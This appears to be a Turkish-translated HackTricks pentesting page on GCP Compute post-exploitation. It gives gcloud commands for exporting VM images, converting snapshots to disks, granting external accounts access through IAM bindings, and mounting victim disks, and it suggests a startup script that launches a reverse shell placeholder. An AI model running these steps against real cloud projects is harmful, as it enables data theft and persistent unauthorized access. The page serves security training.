GCP - Compute Post Exploitation

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Hesaplama

Hesaplama ve VPC (Ağ) hakkında daha fazla bilgi için:

GCP - Compute Enum

Görüntüleri Yerel Olarak Dışa Aktar ve İncele

Bu, bir saldırganın zaten mevcut görüntülerin içinde bulunan verilere erişmesine veya çalışan sanal makinelerin yeni görüntülerini oluşturmasına ve çalışan VM'lerin verilerine erişmesine olanak tanır.

Bir VM görüntüsünü bir kovaya dışa aktarmak ve ardından aşağıdaki komutla indirip yerel olarak bağlamak mümkündür:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Bu işlemi gerçekleştirmek için saldırganın depolama kovasına ve kesinlikle cloudbuild üzerinde ayrıcalıklara ihtiyacı olabilir çünkü bu işlemi gerçekleştirmek için hizmet istenecektir. Ayrıca, bu işin çalışması için codebuild SA ve compute SA'nın ayrıcalıklı izinlere ihtiyacı vardır. cloudbuild SA <proje-id>@cloudbuild.gserviceaccount.com şunlara ihtiyaç duyar:

  • roller/iam.serviceAccountTokenCreator

  • roller/compute.admin

  • roller/iam.serviceAccountUser

Ve SA <proje-id>-compute@developer.gserviceaccount.com şunlara ihtiyaç duyar:

  • roller/compute.storageAdmin

  • roller/storage.objectAdmin

Anlık Görüntüleri ve Diskleri Yerel Olarak Dışa Aktarın ve İnceleyin

Anlık görüntüleri ve diskleri doğrudan dışa aktarmak mümkün değildir, ancak bir anlık görüntüyü bir diske, bir diski bir görüntüye dönüştürmek ve önceki bölümü takip ederek bu görüntüyü yerel olarak incelemek mümkündür.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Bir Görüntüyü İnceleme ve Bir Sanal Makine Oluşturma

Bir saldırganın bir görüntü oluşturduğu yerden bir görüntüde depolanan verilere veya çalışan bir sanal makinedeki verilere erişmek amacıyla, bir harici hesaba görüntü üzerinde erişim vermek mümkündür:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

ve ardından ondan yeni bir VM oluşturun:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Eğer dış hesabınıza görüntü üzerinde erişim veremediyseniz, kurbanın projesinde o görüntüyü kullanarak bir sanal makine başlatabilir ve metadata'yı geriye dönük bir kabuk çalıştırmak için değiştirebilirsiniz. Bunun için parametre ekleyin:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Bir Snapshot/Disk'i bir VM'ye bağlayarak İnceleyin

Bir diske veya snapshot'a erişmek amacıyla, snapshot'ı bir diske, diski bir görüntüye dönüştürebilir ve önceki adımları takip edebilirsiniz.

Veya harici bir hesaba erişim izni verebilirsiniz (başlangıç noktası bir snapshot ise, snapshot üzerinde erişim izni verin veya ondan bir disk oluşturun):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Bir diski bir örneğe bağlayın:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Sanal makine içinde diski bağlayın:

  1. Sanal makineye SSH ile bağlanın:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Diski Tanımlayın: Sanal makineye girdikten sonra, disk cihazlarını listelerken yeni diski tanımlayın. Genellikle /dev/sdb, /dev/sdc gibi bir şekilde bulabilirsiniz.

  2. Diski Biçimlendirin ve Bağlayın (yeni veya ham bir diskse):

  • Bir bağlama noktası oluşturun:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Diski bağlayın:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Eğer bir dış projeye snapshot veya diske erişim veremezseniz, bu işlemleri snapshot/disk ile aynı projedeki bir örnekte gerçekleştirmeniz gerekebilir.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated